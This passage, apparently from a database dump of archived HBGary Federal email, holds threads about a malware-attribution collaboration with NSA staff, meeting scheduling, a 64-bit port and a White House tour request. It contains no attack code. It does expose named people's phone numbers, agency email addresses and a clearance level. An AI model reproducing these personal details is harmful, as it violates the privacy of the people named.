\r\n>>>>> Is this related to Responder Pro?\r\n>>>>> \r\n>>>>> Matt\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Dave/Barry/Matt,\r\n>>>>> \r\n>>>>> I am very interested to discuss our different efforts/capabilities\r\n\r\n>>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>>> convenient to get together.\r\n>>>>> \r\n>>>>> Thank you,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>> \r\n>>>>>> Ralph,\r\n>>>>>> \r\n>>>>>> Thanks for reminding me about this one.\r\n>>>>>> \r\n>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>> \r\n>>>>>> Vergle\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>>> Parkes;\r\n>>>>> \r\n>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Vergle,\r\n>>>>>> Reminder of the thread below, and your awareness of the efforts \r\n>>>>>> of\r\n>>>>> Aaron\r\n>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>> Have\r\n>>>>>> not seen any response since this was raised in early December.\r\n>>>>>> \r\n>>>>>> Also, pls see recent news article below:\r\n>>>>>> \r\n>>>>>> \'Cyber Genome Project\': The military scientists want to establish\r\n\r\n>>>>>> a\r\n>> \r\n>>>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>> According to an announcement put out yesterday by DARPA, the \r\n>>>>>> \"Cyber\r\n>> \r\n>>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>>> investigatory technologies\".\r\n>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>> cyber_genome_project/\r\n>>>>>> \r\n>>>>>> VR,\r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>> To: Gipson, Vergle\r\n>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Vergle:\r\n>>>>>> I mentioned this fellow to you awhile back and emailed you all in\r\n>>>>>> V2\r\n>>> \r\n>>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>>> (which\r\n>>>>> \r\n>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>>> Malicious\r\n>>>>> \r\n>>>>>> Code Catalog efforts).\r\n>>>>>> \r\n>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he\r\n\r\n>>>>>> was\r\n>>>> \r\n>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>> To: Ghent, Ralph\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Hi Ralph,\r\n>>>>>> \r\n>>>>>> Happy New Year.\r\n>>>>>> \r\n>>>>>> I am still very interested to talk to folks there about the \r\n>>>>>> Malicious\r\n>>>> \r\n>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>>> interest on that side.  As I mentioned we have recently partnered\r\n\r\n>>>>>> with\r\n>>>>> \r\n>>>>>> Palantir and are working on a partnership with Netwitness and \r\n>>>>>> maybe\r\n>>>>>> 1\r\n>>>> \r\n>>>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>>>> something really substantial can be put together.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>> Respectfully,\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>> \r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>>>> briefly at Leesburg.\r\n>>>>>>> \r\n>>>>>>> I have pushed your info to those within my Agency who are \r\n>>>>>>> working\r\n> \r\n>>>>>>> with\r\n>>>>>> \r\n>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n\r\n>>>>>>> next\r\n>>>>> \r\n>>>>>>> week, no one has reached-out to you, pls email me again and I \r\n>>>>>>> will\r\n>> \r\n>>>>>>> follow up with them.\r\n>>>>>>> \r\n>>>>>>> Sincerely,\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>> \r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>> To: Ghent, Ralph\r\n>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>> \r\n>>>>>>> Ralph,\r\n>>>>>>> \r\n>>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>>> Malware\r\n>>>>>> \r\n>>>>>>> detection, genomes, and attribution.  I am very new to my \r\n>>>>>>> current\r\n> \r\n>>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>>> Technical\r\n>>>> \r\n>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and \r\n>>>>>>> the\r\n>> \r\n>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks\r\n\r\n>>>>>>> ago\r\n>>>> \r\n>>>>>>> if we can make headway against attribution I would have said no,\r\n\r\n>>>>>>> not\r\n>>>> \r\n>>>>>>> until we have better situational awareness, network \r\n>>>>>>> characterization,\r\n>>>>> \r\n>>>>>>> CND/CNE integration, etc.\r\n>>>>>>> \r\n>>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>>> where\r\n>>>> \r\n>>>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>>> immediately thought of Palantirs capability to link analysis and\r\n\r\n>>>>>>> had\r\n>>>>>> an aha moment.\r\n>>>>>>> But I knew that other capabilities needed to be added if we were\r\n\r\n>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>> \r\n>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.\r\n\r\n>>>>>>> I\r\n>> \r\n>>>>>>> would love to talk with them and combine efforts if appropriate \r\n>>>>>>> to\r\n>> \r\n>>>>>>> develop the capability that is needed to help with this\r\n> challenge.\r\n>>>>>>> \r\n>>>>>>> Thank You,\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> 301.652.8885 x117\r\n>>>>>>> 719.510.8478\r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12543,'aaron_hbgary_com/12543.html'),(4822,'2010-03-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003106.M830147P3547Q4823.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','I have an Issa ts/sci/g/h.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 31, 2010, at 10:38 AM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Do you have a clearance?\r\n>\r\n> If so, what level?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, March 31, 2010 7:53 AM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Thanks Matt.\r\n>\r\n> A visit request please.\r\n>\r\n> See you on the 19th.  Tentatively I just blocked out the day, just let\r\n> me know a time that works best that day.\r\n>\r\n> Aaron\r\n>\r\n> On Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Thank you for your time this morning.\r\n>>\r\n>> Per our discussion, I would like to try to meet with you on the 19th\r\n>> of April.\r\n>>\r\n>> Do you have a badge or do I need to put in a visitor request for you?\r\n>>\r\n>> Matt\r\n>> 410 854 6761\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, March 26, 2010 1:04 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Matt,\r\n>>\r\n>> Still want to get together next week?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n>>\r\n>>> Yes please.\r\n>>>\r\n>>> How about the last week in March?\r\n>>>\r\n>>> Matt\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Matt,\r\n>>>\r\n>>> Would you still like us to come up and discuss DDNA and some of our\r\n>>> other capabilities?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>>>\r\n>>>> Next week is pretty booked at this point.\r\n>>>>\r\n>>>> How about the first week of march (other than 1 March)?\r\n>>>>\r\n>>>> Afternoons are good at this point.\r\n>>>>\r\n>>>> Matt\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>\r\n>>>> How about next Thursday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>>> wrote:\r\n>>>>\r\n>>>>> What dates/times are good for you?\r\n>>>>>\r\n>>>>> Matt\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>>> To: Bodman, Jerry M\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> Yes we can come up.  When are some good dates?\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>>> wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> I am interested.\r\n>>>>>>\r\n>>>>>> What is the best way to meet?\r\n>>>>>>\r\n>>>>>> Can you come here?\r\n>>>>>>\r\n>>>>>> Is this related to Responder Pro?\r\n>>>>>>\r\n>>>>>> Matt\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>\r\n>>>>>> Dave/Barry/Matt,\r\n>>>>>>\r\n>>>>>> I am very interested to discuss our different efforts/\r\n>>>>>> capabilities\r\n>\r\n>>>>>> related to malware genomes/catalogs.  Please let me know when\r\n>>>>>> convenient to get together.\r\n>>>>>>\r\n>>>>>> Thank you,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>>>\r\n>>>>>>> Ralph,\r\n>>>>>>>\r\n>>>>>>> Thanks for reminding me about this one.\r\n>>>>>>>\r\n>>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>>>\r\n>>>>>>> Vergle\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>>>>>>> Parkes;\r\n>>>>>>\r\n>>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Vergle,\r\n>>>>>>> Reminder of the thread below, and your awareness of the efforts\r\n>>>>>>> of\r\n>>>>>> Aaron\r\n>>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>>> Have\r\n>>>>>>> not seen any response since this was raised in early December.\r\n>>>>>>>\r\n>>>>>>> Also, pls see recent news article below:\r\n>>>>>>>\r\n>>>>>>> \'Cyber Genome Project\': The military scientists want to\r\n>>>>>>> establish\r\n>\r\n>>>>>>> a\r\n>>>\r\n>>>>>>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>>> According to an announcement put out yesterday by DARPA, the\r\n>>>>>>> \"Cyber\r\n>>>\r\n>>>>>>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>>>>>>> investigatory technologies\".\r\n>>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>>> cyber_genome_project/\r\n>>>>>>>\r\n>>>>>>> VR,\r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>>> To: Gipson, Vergle\r\n>>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Vergle:\r\n>>>>>>> I mentioned this fellow to you awhile back and emailed you all\r\n>>>>>>> in\r\n>>>>>>> V2\r\n>>>>\r\n>>>>>>> as to possible interest in engaging him to learn of his efforts\r\n>>>>>>> (which\r\n>>>>>>\r\n>>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>>>>>>> Malicious\r\n>>>>>>\r\n>>>>>>> Code Catalog efforts).\r\n>>>>>>>\r\n>>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said\r\n>>>>>>> he\r\n>\r\n>>>>>>> was\r\n>>>>>\r\n>>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>>> To: Ghent, Ralph\r\n>>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Hi Ralph,\r\n>>>>>>>\r\n>>>>>>> Happy New Year.\r\n>>>>>>>\r\n>>>>>>> I am still very interested to talk to folks there about the\r\n>>>>>>> Malicious\r\n>>>>>\r\n>>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>>>>>>> interest on that side.  As I mentioned we have recently\r\n>>>>>>> partnered\r\n>\r\n>>>>>>> with\r\n>>>>>>\r\n>>>>>>> Palantir and are working on a partnership with Netwitness and\r\n>>>>>>> maybe\r\n>>>>>>> 1\r\n>>>>>\r\n>>>>>>> or 2 other small vendors with complimentary technology.  I think\r\n>>>>>>> something really substantial can be put together.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>>> Respectfully,\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Ghent, Ralph\r\n>>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>> Many thanks for the additional info and the opportunity to chat\r\n>>>>>>>> briefly at Leesburg.\r\n>>>>>>>>\r\n>>>>>>>> I have pushed your info to those within my Agency who are\r\n>>>>>>>> working\r\n>>\r\n>>>>>>>> with\r\n>>>>>>>\r\n>>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this\r\n>>>>>>>> time\r\n>\r\n>>>>>>>> next\r\n>>>>>>\r\n>>>>>>>> week, no one has reached-out to you, pls email me again and I\r\n>>>>>>>> will\r\n>>>\r\n>>>>>>>> follow up with them.\r\n>>>>>>>>\r\n>>>>>>>> Sincerely,\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Ralph Ghent\r\n>>>>>>>> rdghent@nsa.gov\r\n>>>>>>>> Ph: 443-654-0129\r\n>>>>>>>>\r\n>>>>>>>> -----Original Message-----\r\n>>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>>> To: Ghent, Ralph\r\n>>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>>>\r\n>>>>>>>> Ralph,\r\n>>>>>>>>\r\n>>>>>>>> Thank you for stepping in and asking about my discussion about\r\n>>>>>>>> Malware\r\n>>>>>>>\r\n>>>>>>>> detection, genomes, and attribution.  I am very new to my\r\n>>>>>>>> current\r\n>>\r\n>>>>>>>> position as CEO of HBGary Federal, prior to this I was the\r\n>>>>>>>> Technical\r\n>>>>>\r\n>>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and\r\n>>>>>>>> the\r\n>>>\r\n>>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3\r\n>>>>>>>> weeks\r\n>\r\n>>>>>>>> ago\r\n>>>>>\r\n>>>>>>>> if we can make headway against attribution I would have said\r\n>>>>>>>> no,\r\n>\r\n>>>>>>>> not\r\n>>>>>\r\n>>>>>>>> until we have better situational awareness, network\r\n>>>>>>>> characterization,\r\n>>>>>>\r\n>>>>>>>> CND/CNE integration, etc.\r\n>>>>>>>>\r\n>>>>>>>> Then I started to learn about HBGarys Malware Genome database,\r\n>>>>>>>> where\r\n>>>>>\r\n>>>>>>>> they have characterized 3500 traits of malware to date, and are\r\n>>>>>>>> starting to make associations of authorship across malware.  I\r\n>>>>>>>> immediately thought of Palantirs capability to link analysis\r\n>>>>>>>> and\r\n>\r\n>>>>>>>> had\r\n>>>>>>> an aha moment.\r\n>>>>>>>> But I knew that other capabilities needed to be added if we\r\n>>>>>>>> were\r\n>\r\n>>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>>>\r\n>>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.\r\n>\r\n>>>>>>>> I\r\n>>>\r\n>>>>>>>> would love to talk with them and combine efforts if appropriate\r\n>>>>>>>> to\r\n>>>\r\n>>>>>>>> develop the capability that is needed to help with this\r\n>> challenge.\r\n>>>>>>>>\r\n>>>>>>>> Thank You,\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> 301.652.8885 x117\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7627,'aaron_hbgary_com/7627.html'),(4823,'2010-03-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003106.M97928P3547Q4820.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Hello again','Begin forwarded message:From: &quot;Potter, Stanley &quot; &lt;slpotte@nsa.gov&gt;\r\nDate: March 31, 2010 7:43:27 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Hello again\r\nTed,It&#39;s great to hear from you again.  My apologies for not respondingsooner.  I had been in the middle of 5 straight weeks of travel and it&#39;s\r\ntaken a while to catch up on e-mail.  Congratulations on your new roleleading HBGary Federal.Thanks very much for the Aurora analysis. If you don&#39;t mind, I&#39;m going\r\nto share your analysis and contact information with a colleague who hasan interest in Aurora.  I hope to be in touch soon.Take care,Stan Potter\r\nNCSC Trusted Computing Lead(240) 373-4093-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, February 09, 2010 12:09 PMTo: Potter, Stanley Subject: Hello againHi Stan,It&#39;s been a while.  I think the last time we saw each other was when you\r\ncame out to visit us with Don in Colorado Springs.  I have since leftNorthrop Grumman, now leading HBGary Federal.  Attached is a final draftreport we wrote, analyzing Aurora.  I thought you might be interested in\r\na sneak preview, this will be released later this week.Hope all is well,Ted--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',12106,'aaron_hbgary_com/12106.html'),(4824,'2010-03-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003107.M10622P3547Q4824.eml','scott@hbgary.com,\"Martin Pillion\" <martin@hbgary.com>','64-bit port','Scott,\r\n\r\nMartin and I just got off the phone with Clearhat.  Shawn has some\r\navailability this week (lucky for us).  Martin is sending him the code\r\nand Shawn is going to get started on it after lunch.  He has enough time\r\nto work on it for about 2 1/2 days, then he leaves for a trip.  He\r\nthinks he may be able to get it done in that time, but at a minimum it\r\nwill give Martin a good head-start.\r\n\r\nMartin and I will touch back with Shawn later this week to get an update\r\non the progress he was able to make.\r\n\r\nIn the meantime, I need to get back to Bill Thompson on the final\r\ndelivery date.  In his email he said the week of the 19th (or sooner if\r\npossible).  I\'ll tell him that we will support the week of the 19th.\r\n\r\nMartin, what is the level of risk that we will not be able to complete\r\nthe port to 64-bit by then?  I don\'t want to surprise Bill at the last\r\nminute if we run into any snags.\r\n\r\nTed\r\n',2094,'aaron_hbgary_com/2094.html'),(4825,'2010-03-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003107.M221760P3547Q4825.eml','scott@hbgary.com,\"Martin Pillion\" <martin@hbgary.com>','64-bit port','Scott,\r\n\r\nMartin and I just got off the phone with Clearhat.  Shawn has some\r\navailability this week (lucky for us).  Martin is sending him the code\r\nand Shawn is going to get started on it after lunch.  He has enough time\r\nto work on it for about 2 1/2 days, then he leaves for a trip.  He\r\nthinks he may be able to get it done in that time, but at a minimum it\r\nwill give Martin a good head-start.\r\n\r\nMartin and I will touch back with Shawn later this week to get an update\r\non the progress he was able to make.\r\n\r\nIn the meantime, I need to get back to Bill Thompson on the final\r\ndelivery date.  In his email he said the week of the 19th (or sooner if\r\npossible).  I\'ll tell him that we will support the week of the 19th.\r\n\r\nMartin, what is the level of risk that we will not be able to complete\r\nthe port to 64-bit by then?  I don\'t want to surprise Bill at the last\r\nminute if we run into any snags.\r\n\r\nTed\r\n',11999,'aaron_hbgary_com/11999.html'),(4826,'2010-03-31','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297003108.M183734P3547Q4826.eml','\"Agarwal, Meena\" <Meena.Agarwal@mail.house.gov>,\"Agarwal, Meena\" <Meena.Agarwal@mail.house.gov>','RE: quick question about WH tours','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Meena &#8211; Aaron, can you\r\npass on to your folks?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\nSent: Wednesday, March 31, 2010 12:54 PM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJake,\r\n\r\n&nbsp;\r\n\r\nI know this is really short notice\r\nbut I have a White House tour available for Thursday, April 15 at 11.00\r\nAM.&nbsp; I would need participant names, SSNs, and DOBs for all participants\r\n(unless participants are under the age of 13 then I would not need their SSNs)\r\nby noon tomorrow.&nbsp; I am attaching the White House tour template for this\r\ninformation.&nbsp; Let me know if you have any questions!\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Olcott, Jacob \r\nSent: Thursday, March 18, 2010 10:07 AM\r\nTo: Agarwal, Meena\r\nCc: \'Aaron Barr\'\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Meena &#8211; you&#8217;re obviously\r\nthe tour guru! &nbsp;\r\n\r\n&nbsp;I&#8217;m cc&#8217;ing my friend Aaron\r\nBarr on this email to provide you with the details. (Aaron&#8217;s kids are in a\r\nclass that&#8217;s trying to get a tour &#8211; I&#8217;ll ask him to put their teacher in touch\r\nwith you.) \r\n\r\n&nbsp;\r\n\r\n-Jake\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Jake,\r\n\r\n&nbsp;\r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn&#8217;t really matter).&nbsp; I think our office has been pretty lucky\r\nfor tours-since I started in January I&#8217;ve had 4 tours accepted.&nbsp; Go ahead\r\nand forward me her information and I&#8217;ll get in touch with her.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16777,'aaron_hbgary_com/16777.html'),(4827,'2010-03-31','\"Agarwal, Meena\" <Meena.Agarwal@mail.house.gov>','/aaron@hbgary.com/new/1297003108.M481162P3547Q4827.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>,\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','RE: quick question about WH tours','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI have about 100 slots open for\r\nthe 